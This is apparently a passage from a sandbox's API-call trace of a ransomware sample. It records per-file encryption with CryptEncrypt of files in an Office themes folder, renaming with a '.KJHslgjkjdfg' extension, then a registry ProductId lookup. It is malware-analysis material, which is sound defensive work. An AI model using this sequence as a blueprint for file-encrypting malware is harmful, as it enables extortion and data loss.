CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.533] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.533] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.533] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd613, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xd613, lpOverlapped=0x0) returned 1 [0146.534] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xd620, dwBufLen=0xd620 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xd620) returned 1 [0146.535] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.535] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd620, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xd620, lpOverlapped=0x0) returned 1 [0146.535] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.535] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xd6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.535] SetEndOfFile (hFile=0x118) returned 1 [0146.538] GetProcessHeap () returned 0x2a0000 [0146.538] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.538] GetProcessHeap () returned 0x2a0000 [0146.538] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.kjhslgjkjdfg")) returned 1 [0146.539] CloseHandle (hObject=0x118) returned 1 [0146.539] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0146.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.540] GetProcessHeap () returned 0x2a0000 [0146.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.540] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.540] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.540] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xa, lpOverlapped=0x0) returned 1 [0146.541] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.542] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.542] GetProcessHeap () returned 0x2a0000 [0146.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.542] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.542] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.542] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.542] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.542] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.542] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.542] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.542] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.543] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.543] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.543] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.543] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e6, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1e6, lpOverlapped=0x0) returned 1 [0146.543] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1f0) returned 1 [0146.543] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.543] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1f0, lpOverlapped=0x0) returned 1 [0146.543] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.543] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.543] SetEndOfFile (hFile=0x118) returned 1 [0146.546] GetProcessHeap () returned 0x2a0000 [0146.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.546] GetProcessHeap () returned 0x2a0000 [0146.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.kjhslgjkjdfg")) returned 1 [0146.553] CloseHandle (hObject=0x118) returned 1 [0146.553] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.553] GetProcessHeap () returned 0x2a0000 [0146.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.553] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.554] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.554] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0146.556] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.556] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.556] GetProcessHeap () returned 0x2a0000 [0146.556] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.556] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.556] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.556] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.556] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.556] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.556] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.557] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.557] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.557] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.557] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.557] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.557] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x50d, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x50d, lpOverlapped=0x0) returned 1 [0146.557] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x510, dwBufLen=0x510 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x510) returned 1 [0146.557] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.557] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x510, lpOverlapped=0x0) returned 1 [0146.557] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.557] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.557] SetEndOfFile (hFile=0x118) returned 1 [0146.560] GetProcessHeap () returned 0x2a0000 [0146.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.560] GetProcessHeap () returned 0x2a0000 [0146.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.565] CloseHandle (hObject=0x118) returned 1 [0146.565] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.565] GetProcessHeap () returned 0x2a0000 [0146.565] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.565] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.565] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.565] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0146.567] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.567] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.568] GetProcessHeap () returned 0x2a0000 [0146.568] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.568] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.568] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.568] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.568] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.568] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.568] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.568] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.568] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.568] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.568] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.568] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.568] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x505f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x505f, lpOverlapped=0x0) returned 1 [0146.569] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x5060, dwBufLen=0x5060 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x5060) returned 1 [0146.570] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.570] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x5060, lpOverlapped=0x0) returned 1 [0146.570] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.570] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x5134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.570] SetEndOfFile (hFile=0x118) returned 1 [0146.573] GetProcessHeap () returned 0x2a0000 [0146.573] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.573] GetProcessHeap () returned 0x2a0000 [0146.573] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.579] CloseHandle (hObject=0x118) returned 1 [0146.579] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.579] GetProcessHeap () returned 0x2a0000 [0146.579] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.579] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.579] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.579] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.579] GetProcessHeap () returned 0x2a0000 [0146.579] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.579] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.580] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.580] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.580] GetProcessHeap () returned 0x2a0000 [0146.580] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.580] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.580] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.580] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.580] GetProcessHeap () returned 0x2a0000 [0146.580] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.580] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.580] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.580] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.580] GetProcessHeap () returned 0x2a0000 [0146.580] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.580] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.580] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.580] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.580] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.580] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.581] RegCloseKey (hKey=0x118) returned 0x0 [0146.581] GetProcessHeap () returned 0x2a0000 [0146.581] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.581] GetProcessHeap () returned 0x2a0000 [0146.581] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.581] GetProcessHeap () returned 0x2a0000 [0146.581] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.581] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.581] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.581] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.581] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.581] 